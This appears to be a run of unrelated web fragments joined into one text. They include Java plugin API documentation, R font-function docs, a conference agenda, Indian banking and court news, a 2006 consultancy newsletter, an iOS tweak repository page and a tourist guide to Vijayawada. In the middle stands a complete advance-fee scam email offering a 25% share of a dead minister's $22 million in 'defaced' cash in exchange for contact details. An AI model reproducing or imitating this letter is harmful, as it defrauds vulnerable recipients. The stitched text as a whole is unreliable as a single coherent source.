.setVisible
in interface IPluginUI
public void setAttachedToGUI(boolean attached)
IPluginUI
IPluginUI
was attached to a gui-component/ container this method should be called to store the state of attachment.
Even so if it was removed.setAttachedToGUI
in interface IPluginUI
attached
- - Attached to a gui component or not.public boolean isAttachedToGUI()
IPluginUI
IPluginUI
is attached to a gui-component/ container, false otherwise.isAttachedToGUI
in interface IPluginUI
public void quit()
Plugin
by setting the quitRequested variable. Each Plugin
has to guarantee to leave its run-method as
soon as possible. The state of this variable can be requested via isQuitRequested()
public java.lang.String getPluginName()
IPluginBase
IPlugin
.getPluginName
in interface IPluginBase
public boolean equals(java.lang.Object obj)
equals
in class java.lang.Object
public int hashCode()
hashCode
in class java.lang.Object
public java.lang.String toString()
toString
in class java.lang.Thread
public final void setPluginWindowManagerAccess(IPluginWindowManagerAccess pWMA)
IPluginUI
IPlugin
s.setPluginWindowManagerAccess
in interface IPluginUI
public IPluginWindowManagerAccess getPluginWindowManagerAccess()
IPluginUI
IPlugin
s.getPluginWindowManagerAccess
in interface IPluginUI
public thobe.logfileviewer.kernel.source.logstream.ILogStream getLogstream()
IPlugin
LogStream
. Might return a null-pointer.getLogstream
in interface IPlugin
public final void onLogStreamAvailable(thobe.logfileviewer.kernel.source.logstream.ILogStreamAccess logStreamAccess)
IPlugin
IPlugin
. The corresponding method for the IPlugin
s
to be implemented is IPlugin.onLogStreamOpened()
.
Life-cycle of Plugin
: ##### Step 2a LS AVAILABLE #####LogStream
is available plugins will gain access to this stream over ILogStreamAccess
and will be registered as
ILogStreamDataListener
.onLogStreamAvailable
in interface IPlugin
logStreamAccess
- - the object that can be used to access the LogStream
by registering a ILogStreamDataListener
via ILogStreamAccess.addLogStreamDataListener(ILogStreamDataListener)
.public final void onLogStreamLeavingScope()
IPlugin
IPlugin
. The corresponding method for the IPlugin
s
to be implemented is IPlugin.onPrepareCloseLogStream()
.
Life-cycle of Plugin
: ##### Step 3b LS LEAVING SCOPE #####LogStream
will be closed. The access to the LogStream
over IPlugin#getLogstreamAccess()
is
not longer granted and might return a null-pointer.onLogStreamLeavingScope
in interface IPlugin
public java.lang.String getLSRequesterName()
thobe.logfileviewer.kernel.source.logstream.ILogStreamRequester
getLSRequesterName
in interface thobe.logfileviewer.kernel.source.logstream.ILogStreamRequester
public void response(int requestId, java.util.List<thobe.logfileviewer.kernel.source.logline.ILogLine> logLines, boolean valid)
thobe.logfileviewer.kernel.source.logstream.ILogStreamRequester
LogStream
via LogStream.requestLogLines(long, long, ILogStreamRequester)
or
LogStream.requestLogLines(long, long, ILogStreamRequester, java.util.regex.Pattern)
.response
in interface thobe.logfileviewer.kernel.source.logstream.ILogStreamRequester
requestId
- - the id of the requestlogLines
- - the lines matching the filtervalid
- - if true, the response is valid


Selenium Grid and Docker workshop
Detailed instructions can be found on the GitHub repository.
GitHub repo


{% extends "base_generic.html" %} {% load bleach_tags %} {% block pagetitle %}{{ finding.title }} Details{% endblock %} {% block breadcrumbs %} {% endblock %} {% block content %}
Description write-up is needed.
{% endif %}Impact write-up is needed.
{% endif %}Recommendations are needed.
{% endif %}No host or network detections have been written for this finding.
{% endif %}Replication steps are needed.
{% endif %}References are needed.
{% endif %}{{ note.timestamp }}
No notes for this finding.
{% endif %} {% endblock %} {% block morescripts %} {% comment %} Include the reusable delete confirmation modal and related scripts {% endcomment %} {% include "confirm_delete_modal.html" %} {% comment %} Assign Finding with AJAX {% endcomment %} {% endblock %}


| get_font_features {textshaping} | R Documentation |
This is a simply functions that returns the available OpenType feature tags
for one or more fonts. See font_feature()
for
more information on how to use the different feature with a font.
get_font_features( family = "", italic = FALSE, bold = FALSE, path = NULL, index = 0 )
family |
The name of the font family |
italic |
logicals indicating the font style |
bold |
logicals indicating the font style |
path |
path an index of a font file to circumvent lookup based on family and style |
index |
path an index of a font file to circumvent lookup based on family and style |
A list with an element for each of the input fonts containing the supported feature tags for that font.
# Select a random font on the system sys_fonts <- systemfonts::system_fonts() random_font <- sys_fonts$family[sample(nrow(sys_fonts), 1)] # Get the features get_font_features(random_font)


Agenda
Dec. 5, 2016
-
5:00 PM - 7:00 PM
Pre- Conference Networking Happy Hour
Get to know fellow attendees.
-
7:30 PM - 9:30 PM
Kickoff Dinner*
Our thank you to you. A dinner to kickoff UR(x), hosted by the UR(x) team our sponsors & partners.
Dec. 6, 2016
-
7:00 AM - 9:00 AM
Light Breakfast & Registration
-
9:00 AM - 9:15 AM
Opening Remarks
UR(x) Team
-
9:15 AM - 10:00 AM
Keynote
Jose Cong, Formerly Apple & Nest
-
10:15 AM - 11:15 AM
Recruiting us student panel
Engineering student leaders from Harvard, MIT, & Stanford
-
11:30 AM - 12:15 AM
How selective college admissions can shape your UR program
Anne De Luca (Harvard University)
-
11:30 AM - 12:15 AM
How to build a killer UR team
Kate Randall (Tesla)
-
11:30 AM - 12:15 AM
Technical University Recruiting for Startups
Wahab Owolabi (Formerly Stanford & Carnegie Mellon)
Dec. 6, 2016 (cont.)
-
12:30 PM - 1:30 PM
Lunch
-
1:45 PM - 2:30 PM
Diversity Recruiting Panel
Ahmad Wright (Stanford University), Phillip Loya (CODE2040)
-
1:45 PM - 2:30 PM
Tech for Liberal Arts
Jeff D'Andria (Stanford University)
-
2:30 PM - 3:00 PM
Break
-
3:00 PM - 3:45 PM
Special Guest Fireside Chat
-
4:00 PM - 4:45 PM
Keynote
Farouk Dey (Stanford University)
-
5:30 PM - 7:00 PM
Happy Hour
* The Kickoff Dinner Hosted by the UR(x) Team our Sponsors, & Parners at Tacolicious in beautiful downtown Palo Alto on Monday, December 6th from 7:30 PM to 9:30 PM.
Tacolicious is located at 632 Emerson St Palo Alto, Ca 94301.


Verification Complete
Thanks for verifying your email, you can now login to your account in our application.


No NEFT charges for savings account holders from Jan 2020, RBI mandates banks
The NEFT is used for fund transfers up to Rs 2 lakh.
The Reserve Bank of India (RBI) has mandated banks not to charge savings account holders for NEFT with effect from January 2020.
The RBI said earlier that it had done away with charges on NEFT and RTGS transactions.
"In order to provide an impetus to digital funds movement, it has been decided to do away with the charges levied by the Reserve Bank for transactions processed in the RTGS and NEFT systems. Banks will be required, in turn, to pass these benefits to their customers. Instructions to banks in this regard will be issued within a week," the central bank said in a statement.
Close
RTGS is meant for large-value instantaneous fund transfers while the NEFT is used for fund transfers up to Rs 2 lakh.Get access to India's fastest growing financial subscriptions service Moneycontrol Pro for as little as Rs 599 for first year. Use the code "GETPRO". Moneycontrol Pro offers you all the information you need for wealth creation including actionable investment ideas, independent research and insights & analysis For more information, check out the Moneycontrol website or mobile app.


v1s10n_4
is a Cydia/Sileo/Zebra repository. Click on button below to add it to your repo list.
Add to Cydia/Sileo/Zebra
Featured Packages
[BETA] FlashInvadersHack
Flash almost all invaders from your toilets.
More info
Pictomize
Customize all your homescreen icons.
More info
CarrierNameChanger
This is a simple tweak which allow you to change the carrier name in statusbar.
More info


In short we build high performance and beautiful Websites for mobile and web.
We carefully choose the right tools for every job.
Our Process -
Research:
Understanding your Brand, Design goals and Usecase.
Planning:
Brand concept, positioning strategy and tech assessment.
Execution:
Website development, deployment and analytics.


---
layout: post
title: "No Title"
---
The beautifully manicured Gardens of Marqueyssac. Unfortunately the gallery is embedded in a terrible 100% Flash website and I can’t find many good photos anywhere else. Click through to view this composite large though.


Attent: I must solicit your strictest confidence in this transaction this is virtue of it nature as being utterly confidence and top secret and you are contacted with the believe that you will be of great assistance to me in the following confidential transaction which is going to be beneficial to both of us. I am Mr.Patrick James Iburu son of late Mr Danel Ojinta Iburu, former Minister of Petroleum who died after brief illness at (U.N.T.H.) University of Nigeria Teaching Hospital, Enugu. He was serving under this present regime of President Obasanjo.Before the death of my father, he told me that he deposited money in a security company worth of US$22,000,000.00 (Tewnty two million dollars) cash, the money is safely deposited in a security company and after my discussion with the diplomatic manager with the security company regarding the fund, he told me not to invest the money in Nigeria because of the instability in the country now, rather that I should invest in foreign country where the political and economic condition are suitable. However, because of security reasons, this money was coded and defaced in-form of bounded retractable negative (277.03) stage and is almost ready to be offered as legal tender. Your assistant will enable me reconvert them to grade (A135Neon) proof want stage and this regard I agree your 25% of the said amount after reconvertion, 75% will be for me and my family which we shall invest in your country with your assistance. We are open to any formula for investment.However, as seeing is believing this money can be universally tested scientifically in bank and bureau de change. After reconvertion to assure its genuineness and quality attributed to legal tender. If this offer meets your interest, kindly reach me through my email address Feel free to ask question of any thing you do not understand. Do not forget to send me your full contact information for easy communication. Thanks as I await for your immediate response.Email<EMAIL_ADDRESS>Regards M r. Patrick James Iburu


SQL Server 2005: Advanced Indexing Strategies
Friday 6th October 2006
8:00am - 11:00am
In this session we look at a fast-paced collection of indexing tips and tricks based on an already optimised base table structure.
Once the base table structures have been defined and you have to further improve system performance, where do you look and how do you do this?
We will also talk about targeting both the known and finding the unknown performance problems. Once you know where the problems are we'll go through numerous options to improve the performance using indexes.
Introduction to Microsoft Expression
Friday 27th October 2006
A practical session for the IT Industry exposing attendees to the new Microsoft Expression framework.
SYDNEY: Rules to Successful Projects (Part A & B) - Presented by
Adam Cogan
Friday 24th November 2006
What makes a good software development consultancy? What sets one company completely above another? What makes a project completely successful? In this special Sydney session, Adam will look at each of these questions and give you the answers you are looking for!
SSW Consulting Completes 2 year financial modeling project for Commonwealth Bank of Australia
Due to the tremendous growth that our business has experienced over the last few months, we are seeking enthusiastic people to join the SSW team.
Our Company is based in Neutral Bay which is one of the most elegant and scenic areas of Sydney. SSW is an Australian owned progressive consulting firm specialising in building, implementing and maintaining Microsoft .NET software applications.
We are currently looking for:
What size of SQL database is required for Exchange Reporter?
- answered by: Lei Xu
What are SQL Server DTS Data Conversion and Transformation
Considerations?
- answered by: Sergei Tchernykh
Microsoft Gold Certified Partners are the elite Microsoft Business Partners who earn the highest customer endorsement.
Call us NOW +61 2 9953 3000
G'Day Developers!
Do you know when to use Reporting Services?Like any solution, Reporting Services has its pros and cons. From our experience, we have discovered these things about Reporting Services:
Cons
Pros
So in conclusion, if you will only ever need 1 report, go with ASP.NET - it is easier to get up and running. If you plan to have more than one report, use Reporting Services - it's worth the time to set-up.
For a more detailed comparison between reporting solutions, take a look at our Guidelines for Report Solutions - Web Clients.
More on Rules to Better Microsoft
SQL Reporting Services...
Cheers until next time,
Adam
SSW Chief Architect and Microsoft Regional Director, Australia
Got a comment for Adam? 6164616d636f67616e407373772e636f6d2e6175
Sydney .NET User Group
Wednesday 18th October 2006
5:45pm - 9:00pm
Location: Microsoft, Sydney
Software as a Service - Catching the Long Tail
The guest speaker Nigel Watson from Microsoft Australia will be talking about how from small start-ups to large enteprises, software as a service (SaaS) is changing how software is designed, developed and consumed. This session discusses the business drivers behind SaaS, and then looks at how these in turn drive the architecture of SaaS solutions as opposed to 'on-premise' software.
Along the way, he will discuss the technical issues that any current or prospective SaaS vendor will need to grapple with in order to successfully deliver software as a service.
Atlas
Tim Kremer will continue to discuss the Microsoft Ajax Library from last month's session and will further reinforce its benefits and features such as:
- Ability to integrate cross-browser client script libraries with
the ASP.NET 2.0 server-based development framework.
- Atlas' ability to take advantage of AJAX techniques on the web,
thus enabling you to create ASP.NET pages with a rich, responsive UI
and server communication.
- Due to Atlas' extension of ASP.NET, it is fully integrated with
server-based services.
Throughout his presentation Tim will take a one step further by providing you with worked examples of the new client libraries as well as using the server side libraries to add ajax functionality to your ASP.NET existing applications.
See You There!! | Sorry I can't make it
Gain the knowledge and skills required to deploy and manage reports using Microsoft Reporting Services
Microsoft SQL Server 2005
Reporting Services
Monday 16 & Tuesday 17 October 2006
9:00am - 5:00pm
Location: SSW, Sydney
This 2 day course has been specifically designed by the Sydney based SQL Guru and MS Regional Director Adam Cogan. Throughout this course Adam will cover the most popular reporting technologies in the industry, comprehend the new Report Designer, the important differences between Access Reports and Reporting Services and much more.
There is also a practical side to this course as you will get to be exposed to real life examples of Microsoft's landscape of enterprise reporting and learn the right and wrong ways of developing reports.
To find out more about the course's content, please see More on Reporting Services Training
BUY 2 TICKETS AND GET 1 FREE
Steve Herzberg - Sales Director at NRG Solutions. Steve has worked closely with Microsoft at this year's Code camp and has for the past few years assisted the team at SSW with tailored marketing and sales support. NRG Solutions are a training consulting company with a focus on sales and marketing skills and strategies for IT staff and companies. Steve is regarded as one of Australia's most engaging speakers and will show you how to take the next step in your career as a developer . Clients of NRG Solutions include: ANZ Bank, CGU, Microsoft, SSW, Cricket Australia & Fitness First.
|
In this introductory workshop, Steve will cover:
|
|
Adam Cogan - Chief Architect at SSW and Microsoft Regional Director. Adam has been developing custom solutions for businesses across a range of industries such as Government, banking, insurance and manufacturing since 1990 for clients such as Microsoft, Quicken, and the Fisheries Research and Development Corporation. His wealth of experience in the industry and unsurpassed technical knowledge will ensure attendees get the most out of these sessions. Managing a team of coders can be a tricky experience, especially as most coders like to do things their own way. During this session Adam will go through a list of rules that help make the development process as smooth as possible. These rules govern the creation of specifications and schedules, best methods for testing and fixing bugs and even the employees working conditions. |
So come and join Steve and Adam as they take you through
"Earning More Per Hour as A Developer"
More on "Earning More Per Hour as a
Developer"...
Microsoft Office SharePoint Server 2007 improves organisational effectiveness by providing one unified suite of enterprise-scale applications. This satisfies diverse business-critical needs such as; managing content and business processes, simplifying how people work together across boundaries, and enabling better informed decision-making.
More on SSW Microsoft SharePoint 2007...


Version 1.9.6
New features:
- Common:
- New demo "23_CustomSaveOpenInDesigner" is added, demonstrates
how to save and load the report templates from database.
Removed bugs:
- TprReport:
- Serious bug is removed, that causes an incorrect painting of the transparent
TprMemoObj in designer and preview mode.


Court directs police to probe road cutting complaint
by Special CorrespondentJudicial Magistrate Court VI here has directed the Ramanathapuram Police to probe a complaint against a resident welfare society on illegally cutting the Nanjundapuram Road.
In an order dated September 26, 2019, which was made available only recently, Magistrate K.R. Kannan directed the inspector to file report November 29.
Petitioner S. Kanagasundram had submitted to the court that the society and its members had in March 2018 cut the Nanjundapuram Road to lay a sewer line from its premises on the west of the road to the east.
In doing so, the society had not obtained the State Highways Department’s permission and damaged telephone cables.
Mr. Kanagasundram told The Hindu that a Department’s engineer concerned had under oath acknowledged that the Department had not permitted the road cutting work and therefore it was illegal. Likewise, the telecom company's official had also acknowledged its cables getting cut during the work execution.
The two had slapped fine on the society, which he claimed had not yet paid. He had also asked the two agencies to lodge a complaint but as they were not forthcoming he had preferred a complaint with the police.
And after the police delayed inquiring into the matter or registering a case, he had moved the court, he added.


Victoria Museum, is one of the old museum, which built before independence. Good place surrounded by nice garden located in MG Road, it's over all nice to see historical things. We can have another science museum beside Beram Park.It is a small museum on Mg road of Vijayawada.
But it has historic value. Mahatma Gandhi and other Congress leaders came here in 1921 during annual conference of Congress.t is a small museum on Mg road of Vijayawada. But it has historic value. Mahatma Gandhi and other Congress leaders came here in 1921 during annual conference of Congress. It is 2.7 kilometers from vijayawada.
Visiting Timings:-11:00AM-1:00PM and 2:00PM-6:00PM
Hinkar Tirtha is a popular Jain temple, which is situated in Mangalagiri hills. This temple is the biggest Jain shrine in the region and is acclaimed for its Jain style of architecture.It is 23 kilometers from vijayawada.
Visiting Timings:-9:00AM-5:00PM
The Mogalarajapuram Caves are known for its five rock-cut sanctuaries that date back to around the 5th century. Located about five kilometres away from Vijayawada, these caves are now in ruins. The caves have religious significance due to the presence of the idols of Lord Nataraja and Lord Vinayaka in some of them.
Besides the caves, the Mogalarajapuram Temple is also a prominent attraction. This temple is enshrined with the statue of Ardhanarisvara that is believed to be the oldest in South India.It is 0.13 kilometers from vijayawada.
Visiting Timings:-9:00AM-6:00PM
Undavalli Caves, located 6 km south-west from Vijayawada, are the caves cut-out in the sandstone hill in the 4th to 5th centuries A.D. Of all the caves, the largest one comprises of four stories and is enshrined with a huge statue of Lord Vishnu.
The statue of Lord Vishnu is sculpted in a reclining posture from a single block of granite.Besides, the other caves located at the site are dedicated to Lord Brahma, Vishnu and Shiva. One of the main caves depicts the Gupta architecture, as these caves initially were shaped as a Buddhist monastery.
These Buddhist monasteries were designed in the style of Buddhist vihara on the first floor. Dedicated to Anantapadmanabha Swamy and Narisimha Swamy, these caves are also associated with the Vishnukundina Kings of 420 to 620 A.D. These caves overlook the Krishna River and several specimens of rock cut Hindu architecture from above the hill. It is 10.9 kilometers from vijayawada
Visiting Timings:-9:00AM-5:30PM